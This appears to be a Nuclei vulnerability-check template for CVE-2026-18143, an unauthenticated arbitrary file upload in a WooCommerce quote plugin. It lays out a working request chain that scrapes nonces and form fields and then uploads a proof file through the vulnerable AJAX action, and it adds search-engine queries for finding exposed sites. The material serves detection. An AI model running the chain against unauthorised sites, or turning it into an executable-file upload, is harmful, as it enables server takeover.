id: CVE-2026-18143 info: name: Request Quote for WooCommerce <= 2.9.2 - Unauthenticated Arbitrary File Upload author: 0x_Akoko,pdteam severity: critical description: | Request a Quote for WooCommerce plugin for WordPress <= 2.9.2 contains an unrestricted file upload vulnerability caused by missing file extension and MIME type validation in afrfq_submit_quote_via_popup(), letting unauthenticated attackers upload executable files, exploit requires enabled public quote rule with multi-page popup flow. impact: | Unauthenticated attackers can upload and execute arbitrary files, potentially leading to remote code execution and full server compromise. remediation: | Update to the latest version of Request a Quote for WooCommerce plugin. reference: - https://patchstack.com/database/wordpress/plugin/woocommerce-request-a-quote/vulnerability/wordpress-request-a-quote-for-woocommerce-plugin-2-9-2-unauthenticated-arbitrary-file-upload-vulnerability - https://www.wordfence.com/threat-intel/vulnerabilities/id/3417ec27-6abf-45c7-945f-6ef456ba1187?source=cve - https://github.com/murrez/CVE-2026-18143 - https://nvd.nist.gov/vuln/detail/CVE-2026-18143 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-18143 epss-score: 0.0214 epss-percentile: 0.81911 cwe-id: CWE-434 metadata: verified: true max-request: 8 vendor: addify product: woocommerce-request-a-quote fofa-query: body="/wp-content/plugins/woocommerce-request-a-quote/" shodan-query: http.html:"woocommerce-request-a-quote" tags: cve,cve2026,wordpress,wp,wp-plugin,woocommerce,addify,afrfq,file-upload,rce,unauth,intrusive,vkev variables: rand: "{{randstr}}" filename: "proof_{{rand}}.txt" bound: "{{to_lower(rand_text_alpha(8))}}" flow: | if (!http(1)) { stop(); } http(2); if (!template["product_slug"]) { http(3); } if (!template["product_slug"]) { http(4); } if (!template["product_slug"]) { stop(); } http(5); if (!template["nonce1"]) { stop(); } http(6); http(7); if (!template["nonce2"]) { set("nonce2", template["nonce1"]); } if (!template["qty_key"]) { set("qty_key", "0"); } if (!template["rfq_field1"]) { set("rfq_field1", "afrfq_noop_a"); } if (!template["rfq_field2"]) { set("rfq_field2", "afrfq_noop_b"); } if (!template["rfq_field3"]) { set("rfq_field3", "afrfq_noop_c"); } http(8); http: - raw: - | GET /wp-content/plugins/woocommerce-request-a-quote/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "Request a Quote")' - 'compare_versions(plugin_version, "<= 2.9.2")' condition: and internal: true extractors: - type: regex name: plugin_version group: 1 regex: - '(?i)Stable tag:\s*([0-9.]+)' internal: true - raw: - | GET /wp-json/wc/store/products?per_page=3&orderby=popularity HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: product_slug group: 1 regex: - '^[\s\S]*?[\\/]product[\\/]+([a-zA-Z0-9_-]+)' internal: true - raw: - | GET /wp-sitemap-posts-product-1.xml HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: product_slug group: 1 regex: - '^[\s\S]*?/product/([a-zA-Z0-9_-]+)' internal: true - raw: - | GET /shop/ HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: product_slug group: 1 regex: - '^[\s\S]*?/product/([a-zA-Z0-9_-]+)' internal: true - raw: - | GET /product/{{product_slug}}/ HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: nonce1 group: 1 regex: - 'afrfq_phpvars[\s\S]{0,400}"nonce"\s*:\s*"([a-f0-9]{6,12})"' internal: true - type: regex name: product_id group: 1 regex: - 'postid-(\d+)' - '"product_id"\s*:\s*"?(\d+)"?' internal: true - type: regex name: rule_id group: 1 regex: - 'data-rule_id="(\d+)"' internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest action=add_to_quote&nonce={{nonce1}}&product_id={{product_id}}&rule_id={{rule_id}}&quantity=1 - raw: - | GET /product/{{product_slug}}/?ra={{rand}} HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: nonce2 group: 1 regex: - 'name="afrfq_nonce"\s+value="([^"]+)"' - 'id="afrfq_nonce"[^>]+value="([^"]+)"' internal: true - type: regex name: qty_key group: 1 regex: - 'name="quote_qty\[([^\]]+)\]"' internal: true - type: regex name: rfq_field1 group: 1 regex: - '^[\s\S]*?name="(afrfq_field_\d+)"' internal: true - type: regex name: rfq_field2 group: 1 regex: - '^[\s\S]*?name="afrfq_field_\d+"[\s\S]*?name="(afrfq_field_\d+)"' internal: true - type: regex name: rfq_field3 group: 1 regex: - '^[\s\S]*?name="afrfq_field_\d+"[\s\S]*?name="afrfq_field_\d+"[\s\S]*?name="(afrfq_field_\d+)"' internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary={{bound}} Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest --{{bound}} Content-Disposition: form-data; name="action" afrfq_submit_quote_via_popup --{{bound}} Content-Disposition: form-data; name="afrfq_nonce" {{nonce2}} --{{bound}} Content-Disposition: form-data; name="popup_template" template_two --{{bound}} Content-Disposition: form-data; name="current_page" 2 --{{bound}} Content-Disposition: form-data; name="quote_qty[{{qty_key}}]" 1 --{{bound}} Content-Disposition: form-data; name="{{rfq_field1}}" poc --{{bound}} Content-Disposition: form-data; name="{{rfq_field2}}" poc --{{bound}} Content-Disposition: form-data; name="{{rfq_field3}}" poc@example.com --{{bound}} Content-Disposition: form-data; name="qfile"; filename="{{filename}}" Content-Type: text/plain {{rand}} --{{bound}}-- matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - 'contains(body, "\"status\":\"pass\"")' condition: and # digest: 490a0046304402205ceb35a40815582050fe40ec8ec58d3d8dc93f6838d7aaa02f201320f08c0af0022052b71b4a2fb9a403f83d0ed8435c524ad3a75107532a81ecbededbb20741a4d7:922c64590222798bb761d5b6d8e72950